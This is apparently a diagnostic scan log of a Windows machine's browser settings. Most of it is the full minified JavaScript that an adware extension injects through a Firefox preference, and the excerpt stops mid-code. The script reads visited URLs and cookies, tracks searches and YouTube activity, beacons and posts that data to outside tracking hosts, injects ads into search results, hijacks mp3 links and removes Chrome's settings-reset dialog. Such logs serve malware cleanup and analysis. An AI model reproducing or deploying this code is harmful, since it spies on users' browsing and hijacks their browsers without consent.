IE - HKCU\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/...Box&FORM=IESR02
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyOverride" = *.local;<local>
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyServer" = localhost:8080
========== FireFox ==========
FF - prefs.js..browser.search.countryCode: "MY"
FF - prefs.js..browser.search.isUS: false
FF - prefs.js..browser.search.region: "MY"
FF - prefs.js..browser.startup.homepage: "google.com.my"
FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:36.0.1
FF - prefs.js..extensions.uepCrVut92OSwdta.scode: "try{(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"warnalert11.com\")>-1||url.indexOf(\"sumorobo.net\")>-1||url.indexOf(\"mindri.com\")>-1||url.indexOf(\"__ipm=\")>-1||url.indexOf(\"=apapamam7\")>-1||url.indexOf(\"alertfunctions.com\")>-1||url.indexOf(\"immediate-support.com\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"esmoke.com/?isid=9950\")>-1||url.indexOf(\"esmoke.com/?isid=9951\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1||url.indexOf(\"hash=m5g73j\")>-1||url.indexOf(\"hash=hg7gja\")>-1||url.indexOf(\"hash=fz61s5\")>-1||url.indexOf(\"hash=zndas3\")>-1||url.indexOf(\"hash=1i5w2d\")>-1||url.indexOf(\"hash=zndas3\")>-1||url.indexOf(\"hash=b3qau4\")>-1||url.indexOf(\"hash=ijeqe4\")>-1||url.indexOf(\"duit&ptag=aa7aab832a2de41458bf&\")>-1||url.indexOf(\"duit&ptag=a93f650ac0e6a4a4791f&\")>-1||url.indexOf(\"duit&ptag=a79888693f6ca4634a6f\")>-1||url.indexOf(\"duit&ptag=a359b17b6faa44e6b86f\")>-1||url.indexOf(\"isid=mf245f633-e188-4162-b56a\")>-1||url.indexOf(\"sid=meabfcf9a-556b-4c5c-8727\")>-1||url.indexOf(\"isid=m8fbc22fe-ab08-464e-aa63\")>-1||url.indexOf(\"uid=531364863_132823_4252277e\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"searchy.easylifeapp.com\")>-1||url.indexOf(\"search?hspart=webpick&hsimp=yhs-1&p=\")>-1||url.match(/search.yahoo.com.+hspart=.+/)||url.match(/[/]websearch.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|lookforithere|searchmainia|searchrocket|homesearchapp|a-searchpage|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches|searchingissme|awsomesearchs|eazytosearch|ezsearches|fastosearch|fastsearchings|flyandsearch|wonderfulsearches|fixsearch|searchandfly|searchfix|allsearches|searc-hall|simple2search|searchitwell).info/)||url.match(/search.(easylifeapp|gboxapp|searchonme|appsarefun|genieo).com/)||url.indexOf(\"searchitapp.com\")>-1||url.indexOf(\"news.searchonme.com\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"vatican.com\")>-1||url.indexOf(\"deadsea.com\")>-1||url.indexOf(\"iklk.com\")>-1||url.indexOf(\"offers.bycontext.com\")>-1||url.indexOf(\"deals.offer-dynamics.com\")>-1||url.indexOf(\"offer-dynamics.com\")>-1||url.indexOf(\"www.livegeekhelp.com/pop/\")>-1||url.indexOf(\"gvud.com\")>-1||url.indexOf(\"zuzd.com\")>-1||url.indexOf(\"babaviral.com\")>-1||url.indexOf(\"cupid.so\")>-1||url.indexOf(\"hostanytime.com\")>-1||url.indexOf(\"antivirus.so\")>-1||url.indexOf(\"dates.am\")>-1||url.indexOf(\"insurance-company.co\")>-1||url.indexOf(\"advanceloan.org\")>-1||url.indexOf(\"calcitapp.info\")>-1||url.indexOf(\"desktopfavapp.info\")>-1||url.indexOf(\"?ctid=ct3330145\")>-1||url.indexOf(\"?ctid=ct3330146\")>-1||url.indexOf(\"?ctid=ct3330147\")>-1||url.indexOf(\"?ctid=ct3330148\")>-1||url.indexOf(\"?ctid=ct3330149\")>-1||url.indexOf(\"sporty-glow.com\")>-1||url.indexOf(\"game-trek.net\")>-1||url.indexOf(\"__ipm=\")>-1||url.indexOf(\"=apapamam\")>-1||url.indexOf(\"avatrade.com\")>-1||url.indexOf(\"urgent-alerts.com\")>-1||url.indexOf(\"pc-alert.com\")>-1||url.indexOf(\"error-alerts.com\")>-1||url.indexOf(\"search.searchonme.com\")>-1||url.indexOf(\"news.searchonme.com\")>-1||url.indexOf(\"search.appsarefun.info\")>-1||url.indexOf(\"websearch.mocaflix.com\")>-1||url.indexOf(\"search.easylifeapp.com\")>-1||url.indexOf(\"searchy.easylifeapp.com\")>-1||url.indexOf(\"us.yhs4.search.yahoo.com\")>-1||url.indexOf(\"search.gboxapp.com\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"bestonlinegadgetguide.com\")>-1||url.indexOf(\"odpu.com\")>-1||url.indexOf(\"safesearch.co\")>-1||url.indexOf(\"findamo.com\")>-1||url.indexOf(\"search.myownsearchbox.com\")>-1||url.indexOf(\"datropy.com\")>-1||url.indexOf(\"namyneck.com\")>-1||url.indexOf(\"styloosh.com\")>-1||url.indexOf(\"applicationgrabb.net\")>-1||url.indexOf(\"databass.info\")>-1||url.indexOf(\"firstfirst.net\")>-1||url.indexOf(\"liversely.com\")>-1||url.indexOf(\"liversely.net\")>-1||url.indexOf(\"livesetwebs.org\")>-1||url.indexOf(\"lp.ncdownloader.com\")>-1||url.indexOf(\"lp.vaudix.com\")>-1||url.indexOf(\"masteroids.com\")>-1||url.indexOf(\"reditions.net\")>-1||url.indexOf(\"sharesuper.info\")>-1||url.indexOf(\"storaget.info\")>-1||url.indexOf(\"westzip.in\")>-1||url.indexOf(\"boxhilade.com\")>-1||url.indexOf(\"mylinksworld.com\")>-1||url.indexOf(\"shoppingwiz.co\")>-1||url.indexOf(\"rabbitsearch.net\")>-1||url.indexOf(\"searchandbake.com\")>-1||url.indexOf(\"baidu.co.th\")>-1||url.indexOf(\"ooyd.com\")>-1||url.indexOf(\"jobsro.com\")>-1||url.indexOf(\"kaoor.com\")>-1||url.indexOf(\"myloginbox.com\")>-1||url.indexOf(\"mainpagesite.com\")>-1||url.indexOf(\"turtleclip.com\")>-1||url.indexOf(\"blackyclip.com\")>-1||url.indexOf(\"film-tease.com\")>-1||url.indexOf(\"bestpaydayloans2015.com\")>-1||url.indexOf(\"hotelsdealsreviews.com\")>-1||url.indexOf(\"top10cellphoneplans.com\")>-1||url.indexOf(\"top5autoinsurance.com\")>-1||url.indexOf(\"topcreditreportsites.com\")>-1){return}}catch(e){};(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"VBQiEegN=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"VBQiEegN=\")){var d=a.match(/VBQiEegN=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"zyk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.websco...EqHw7qjUGqTn=\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();(function(){var l=function(){var a=window.location.search.split(\"v=\")[1],b=a&&a.indexOf(\"&\")||-1;-1!=b&&(a=a.substring(0,b));return a},m=function(){var a=document.getElementsByClassName(\"watch-view-count\");return a&&a[0]&&a[0].innerHTML?(a=a[0].innerHTML.replace(/^([0-9,]+).*$/,\"$1\").replace(/,/g,\"\"))&&parseInt(a)&&parseInt(a)||0:0},n=function(){var a=document.getElementsByClassName(\"watch-extras-section\");if(a)for(var b=0;b<a[0].children.length;b++)if(\"Category\"===a[0].children.getElementsByClassName(\"title\")[0].innerHTML.trim()){var c=a[0].children.getElementsByTagName(\"a\");if(c&&c[0]&&(c=c[0].getAttribute(\"href\")))return encodeURIComponent(c.replace(\"/\",\"\"))}return\"\"},p=function(){var a=document.getElementsByClassName(\"yt-subscription-button-subscriber-count-branded-horizontal\");return a&&a[0]&&a[0].innerHTML?(a=a[0].innerHTML.replace(/^([0-9,]+).*$/,\"$1\").replace(/,/g,\"\"))&&parseInt(a)&&parseInt(a)||1:1};if(window.self==window.top&&(-1<window.self.location.hostname.indexOf(\"youtube.com\")||-1<window.self.location.hostname.indexOf(\"youtu.be\")))try{if(\"qq=\"==window.name.substr(0,3)){var f=document.getElementsByTagName(\"body\")[0];if(!f.getAttribute(\"wyttb\")){f.setAttribute(\"wyttb\",\"1\");var g=l(),d=m(),q=n(),h=p();if(g&&d&&d){var e=window.name.split(\"=\")[1];window.name=\"\";2<=d/h&&((new Image).src=\"https://score.transf...5.143.181.221\")}}}if(-1<window.self.location.href.indexOf(\"results?search_query=\")){var k=/[\\?&]search_query=([^&#]*)/.exec(location.search),e=null===k?\"\":decodeURIComponent(k[1].replace(/\\+/g,\" \"));window.name=\"qq=\"+e}}catch®{}})();new function(){var k=this;this.utils=new function(){var c=this;c.sendPixels=function(a){var b;if(a instanceof Array)for(var e=0;e<a.length;e++){var d=a[e];b=new Image;b.src=d}else b=new Image,b.src=a};c.isFalse=function(a){return\"undefined\"==typeof a||0===a.length||null===a};c.cookie=new function(){var a=this;a.createCookie=function(a,e,d){if(d){var c=new Date;c.setTime(c.getTime()+864E5*d);d=\"; expires=\"+c.toGMTString()}else d=\"\";document.cookie=a+\"=\"+e+d+\"; path=/\"};a.readCookie=function(a){a+=\r\n\"=\";for(var e=document.cookie.split(\";\"),d=0;d<e.length;d++){for(var c=e[d];\" \"==c.charAt(0);)c=c.substring(1,c.length);if(0==c.indexOf(a))return c.substring(a.length,c.length)}return null};a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};c.ajax={get:function(a,b){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",a,!0),this.xhr.onreadystatechange=function(){4==c.ajax.xhr.readyState&&b(c.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(a,b,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",\r\na,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==c.ajax.xhr.readyState&&e(c.ajax.xhr.responseText)};b=encodeURIComponent(b);this.xhr.send(b)}};c.waitForTokens={};c.addScript=function(a,b){if(\"bing\"==b){var e=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a);Element.prototype.appendChild=e}else document.getElementsByTagName(\"head\")[0].appendChild(a)};\r\nc.waitForElement=function(a,b,e,d){var f=c.query_selector_all(a);clearTimeout(c.waitTimeout);if(25<k.waitForElementCounter)return b(null);if(\"undefined\"==typeof f||1>f.length){if(c.waitForTokens[d])return b(null);var g=arguments.callee;c.waitTimeout=setTimeout(function(){k.waitForElementCounter++;g(a,b,e,d)},e)}else{if(c.waitForTokens[d])return b(null);c.waitForTokens[d]=!0;k.waitForElementCounter=0;return b(f)}};c.flushWaitForTokens=function(){c.waitForTokens={}};c.getRandomInt=function(a,b){return Math.floor(Math.random()*\r\n(b-a+1))+a};c.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(a){return{getPropertyValue:function(b){\"float\"==b&&(b=\"styleFloat\");b=c.dhtml_prop_name(b);return\"object\"==typeof a.currentStyle&&null!=a.currentStyle&&\"undefined\"!=typeof a.currentStyle?a.currentStyle:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};c.query_selector_all=document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=\r\na.match(/^#([^,\\s]+)$/)||[];if(1<b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};c.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:\r\nfunction(a){if(a instanceof Object){var b=new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};c.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,e,c){return c.toUpperCase()})};c.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return new RegExp(a)};c.throttle=function(a,b){var e=null;return function(){var c=this,f=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(c,f)},b)}};c.epoch=function(){return(new Date).getTime()};\r\nc.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();c.version_ie_less=function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};c.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};\r\nc.match_url=function(a,b){for(var e=0;e<b.length;e++)if(\"string\"==typeof b[e]){var d;d=/^\\/.+\\/$/.test(b[e])?new RegExp(b[e]):c.wildcard_to_regex(b[e]);if(d instanceof RegExp&&d.test(a))return!0}};c.ping=function(a){for(var b=[\"google\",\"bing\",\"yahoo\",\"youtube\"],c=0;c<b.length;c++)if(-1<location.hostname.indexOf(b[c])){var d=new Image,f=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<f.length&&(f=encodeURIComponent(location.hostname));var g=encodeURIComponent(location.hostname);\r\nd.src=k.pixelHost+\"?hid=654297403071659264&eid=1263&pid=21073&prodid=338&v=\"+k.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=MY&pr=\"+b[c]+\"&host=\"+g+\"&ref=\"+f}};c.getAllText=function(a){for(var b=\"\",c=0;c<a.length;c++)b+=a.textContent?a.textContent:a.innetText;return b};c.duplicateElement=function(a){var b=document.createElement(a.nodeName.toLowerCase()),e=!1;a.getAttribute(\"href\")&&b.setAttribute(\"href\",\"javascript:void(0);\");for(var d in a)if(\"src\"==\r\nd||\"width\"==d||\"height\"==d)b[d]=a[d];else if(\"style\"==d)for(var f in a[d])a[d][f]&&\"\"!=a[d][f]&&(b[d][f]=a[d][f]);else e||\"nodeValue\"!=d&&\"textContent\"!=d&&\"innetText\"!=d&&\"className\"!=d||0!=a.children.length||(b[d]=a[d],e=!0);for(e=0;e<a.childNodes.length;e++)if(3==a.childNodes[e].nodeType)b.appendChild(document.createTextNode(a.childNodes[e].textContent?a.childNodes[e].textContent:a.childNodes[e].innerText));else{d=c.duplicateElement(a.childNodes[e]);f=c.getAllText(d.childNodes);var g=a.childNodes[e].textContent?\r\na.childNodes[e].textContent:a.childNodes[e].innerText;g&&(g=g.replace(f,\"\"),\"\"!=g&&(d.textContent?d.textContent=g:d.innerText=g));b.appendChild(d)}return b}};if(-1<window.location.href.indexOf(\"google.com/chrome/srt\")&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")){try{var h=parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1],10)}catch(p){return}if(!(38>=h)){for(h=0;h<document.links.length;h++){var l=document.links[h],m=l.getAttribute(\"href\");if(m&&-1<m.indexOf(\"#dialog-contents\")){var m=\r\nk.utils.duplicateElement(l),n=l.parentNode;n.insertBefore(m,l);n.removeChild(l)}}(h=document.getElementById(\"dialog-contents\"))&&h.remove()}}};(function(){try{window.top==window.self&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")&&\"http:\"==window.location.protocol&&chrome.storage.local.get(\"cdbmnd\",function(a){if(!a.cdbmnd&&!localStorage.getItem(\"cdbmnd\")&&(a=document.getElementsByTagName(\"a\"),a.length))for(var b=0;b<a.length;b++)if(a&&a.href&&\"mp3\"==a.href.substr(-3)){var c=a.href;a.setAttribute(\"href\",\"http://mp3juices.se/...eURIComponent(a.innerHTML)+\"/mid/\"+encodeURIComponent(encodeURIComponent©)+\"/el/1\");a.setAttribute(\"id\",\"sdfsdfsfds\"+b);document.getElementById(\"sdfsdfsfds\"+b).addEventListener(\"click\",function(){chrome.storage.local.set({cdbmnd:\"2\"});localStorage.setItem(\"cdbmnd\",\"2\")},!1)}})}catch(d){}})();;window.top==window.self&&new function(){if(!document.getElementsByTagName(\"body\").length||!document.getElementsByTagName(\"body\")[0].getAttribute(\"s654297403071659264\")){var m=document.getElementsByTagName(\"body\")[0];m&&m.setAttribute(\"s654297403071659264\",\"1\");var b=this;b.pixelHost=\"//sepx.sendapplicationget.com\";b.prefix=\"jhgasdf\";b.version=\"0.5\";b.now=(new Date).getTime();b.clickInterval=2592E5;b.ratio=12;b.initThrottle=\"google;gmaps;amazon\";b.unique_items_left=!0;b.eid=decodeURIComponent(\"unisales\"); b.num_of_items_in_one=4;b.count=0;b.baseHostname=\"sendapplicationget.com\";b.utils=new function(){var a=this;a.sendPixels=function(a){var b;if(a instanceof Array)for(var e=0;e<a.length;e++){var f=a[e];b=new Image;b.src=f}else b=new Image,b.src=a};a.isFalse=function(a){return\"undefined\"==typeof a||0===a.length||null===a};a.cookie=new function(){var a=this;a.createCookie=function(a,c,b){if(b){var g=new Date;g.setTime(g.getTime()+864E5*b);b=\"; expires=\"+g.toGMTString()}else b=\"\";document.cookie=a+\"=\"+ c+b+\"; path=/\"};a.readCookie=function(a){a+=\"=\";for(var c=document.cookie.split(\";\"),b=0;b<c.length;b++){for(var g=c;\" \"==g.charAt(0);)g=g.substring(1,g.length);if(0==g.indexOf(a))return g.substring(a.length,g.length)}return null};a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};a.ajax={get:function(b,d){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",b,!0),this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&d(a.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(b, d,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",b,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&e(a.ajax.xhr.responseText)};d=encodeURIComponent(d);this.xhr.send(d)}};a.waitForTokens={};a.addScript=function(a,b){if(\"bing\"==b){var e=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a); Element.prototype.appendChild=e}else document.getElementsByTagName(\"head\")[0].appendChild(a)};a.waitForElement=function(c,d,e,f){var g=a.query_selector_all©;clearTimeout(a.waitTimeout);if(25<b.waitForElementCounter)return d(null);if(\"undefined\"==typeof g||1>g.length){if(a.waitForTokens[f])return d(null);var h=arguments.callee;a.waitTimeout=setTimeout(function(){b.waitForElementCounter++;h(c,d,e,f)},e)}else{if(a.waitForTokens[f])return d(null);a.waitForTokens[f]=!0;b.waitForElementCounter=0;return d(g)}}; a.flushWaitForTokens=function(){a.waitForTokens={}};a.getRandomInt=function(a,b){return Math.floor(Math.random()*(b-a+1))+a};a.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(b){return{getPropertyValue:function(d){\"float\"==d&&(d=\"styleFloat\");d=a.dhtml_prop_name(d);return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[d]?b.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};a.query_selector_all= document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=a.match(/^#([^,\\s]+)$/)||[];if(1<b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};a.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:function(a){if(a instanceof Object){var b=new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};a.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};a.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return RegExp(a)};a.throttle=function(a,b){var e=null;return function(){var f= this,g=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(f,g)},b)}};a.epoch=function(){return(new Date).getTime()};a.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.version_ie_less=function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};a.isIE=function(){return\"Microsoft Internet Explorer\"== navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};a.match_url=function(b,d){for(var e=0;e<d.length;e++)if(\"string\"==typeof d[e]){var f;f=/^\\/.+\\/$/.test(d[e])?RegExp(d[e]):a.wildcard_to_regex(d[e]);if(f instanceof RegExp&&f.test(b))return!0}};a.ping=function(a){for(var d=[\"google\",\"bing\",\"yahoo\",\"youtube\"],e=0;e<d.length;e++)if(-1<location.hostname.indexOf(d[e])){var f=new Image,g=encodeURIComponent(window.self==window.top?window.self.location.href: \"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);f.src=b.pixelHost+\"?hid=654297403071659264&eid=1263&pid=21073&prodid=186&v=\"+b.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=MY&pr=\"+d[e]+\"&host=\"+h+\"&ref=\"+g}}};var k=[\"horizontal\",\"vertical\",\"images-horizontal\",\"images-vertical\"];b.jsonpHost=function(){var a=\"s1. s1. s2. s3. s4. s5. s6.\".split(\" \");return a[b.utils.getRandomInt(0,a.length-1)]+\"\"}()+ b.baseHostname;b.projects_info={google:{hrefSelector:\".r a\",unique_search_divs:\"3\",urls:[\"www.google.*\"],src_for_keyword:[\"#gbqfq\",\"#lst-ib\",\"#sbhost\"],dr:[\"#tvcap\",\"#bottomads\",\"#tads\"],tweak:function(){b.events.flush();var a=b.utils.query_selector_all(\"#nav td\"),c=b.utils.query_selector_all(\".spell + a\")[0];if(0<a.length)for(var d=0;d<a.length;d++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[d],!0);\"undefined\"!==typeof c&&b.events.add(\"click\",function(){b.init_search_project()}, !1,c,!0)},validate:function(a){var c=this;if(-1<location.href.indexOf(\"https://www.google.com/maps\")||location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return!0;c.callback=a;c.count=0;this.check_tab=function(){var a=document.getElementById(\"hdtb_msb\")||b.utils.query_selector_all(\".tn\");if(b.utils.isFalse(a))if(c.count++,10>c.count)setTimeout(function(){c.check_tab()},1E3);else return!1;else return(b.utils.query_selector_all(\".hdtb_mitem\")[0]||b.utils.query_selector_all(\".tn > div\")[0]).className.match(/(hdtb_msel|tn-selected-mode)/)&& (b.utils.ping(\"validate2\"),c.callback()),!1};if(!c.check_tab())return!1}},yahoo:{hrefSelector:\"a[id^=link]\",unique_search_divs:\"3\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"yahoo\"],src_for_keyword:\"#yschsp\",validate:function(){b.utils.ping(\"validate2\");return!0}},bing:{hrefSelector:[\".b_algo a\",\".sb_tlst a\"],unique_search_divs:\"2\",dr:[\".sb_adsWv2\"],urls:[\"www.bing.com/search?*\"],src_for_keyword:[\"#sb_form_q\",\".b_searchboxForm[name='q']\"],validate:function(){b.utils.ping(\"validate2\");return!0}}, infospace:{hrefSelector:\".resultTitle\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"http://search.infosp...idate:function(){b.utils.ping(\"validate2\");return!0}},wow:{hrefSelector:\".find\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"http://www.wow.com/s...idate:function(){b.utils.ping(\"validate2\");return!0}},duckduckgo:{hrefSelector:\".result__a\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"://duckduckgo.com/?q=*\"],src_for_keyword:\"#search_form_input\", validate:function(){b.utils.ping(\"validate2\");return!0}},contenko:{hrefSelector:\"#title\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"://contenko.com/#/?q=*\"],src_for_keyword:\"#searchBar input[type='text']\",validate:function(){b.utils.ping(\"validate2\");return!0}},conduit:{hrefSelector:\"a[id^=ctl00_main_organicResults]\",unique_search_divs:\"1\",urls:[\"http://search.condui...:\"#q_top\",dr:[\"#master-1\"],validate:function(){return!0}},ask:{hrefSelector:\".ptbs a[id^=r]\",unique_search_divs:\"1\", urls:[\"http://www.ask.com/w...rc_for_keyword:[\"#top_qcomn\",\"#top_q_comm\"],dr:[\"#spl_img_top\"],validate:function(){return!0}},triple:{hrefSelector:\".gRsSlicetitle\",unique_search_divs:\"2\",dr:[\"#gRsTopLinks\"],urls:[\"http://search.triple...idate:function(){var a=b.utils.query_selector_all(\".gRsSTypeSelltr\");if(0<a.length){for(var c=0;c<a.length;c++)if(\"English\"== a[c].innerHTML)return!0;return!1}}},incredimail:{hrefSelector:\".title\",unique_search_divs:\"3\",dr:[\"#MainSponsoredLinks\"],urls:[\"http://www.search.in...idate:function(){return-1<location.href.indexOf(\"lang=english\")?!0:!1}},gmaps:{hrefSelector:\"div[class^='ads-line'] a\",unique_search_divs:\"1\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"https://www.google.c...earchboxinput\", tweak:function(){var a=function(){b.remove_search();b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop=\"0px\";document.getElementById(\"reveal-cards\").style.marginTop=\"0px\"};b.events.add(\"click\",function(){a()},!1,document.getElementById(\"cards\"),!1);b.events.add(\"keyup\",function(){a()},!1,document.getElementById(\"searchbox_form\"),!1);b.events.add(\"click\",function(){a()},!1,document.getElementById(\"viewcard\"),!1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".widget-runway-pegman\")[0], !1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".gscb_a\")[0],!1);var c=function(a){a=document.querySelector(a);return 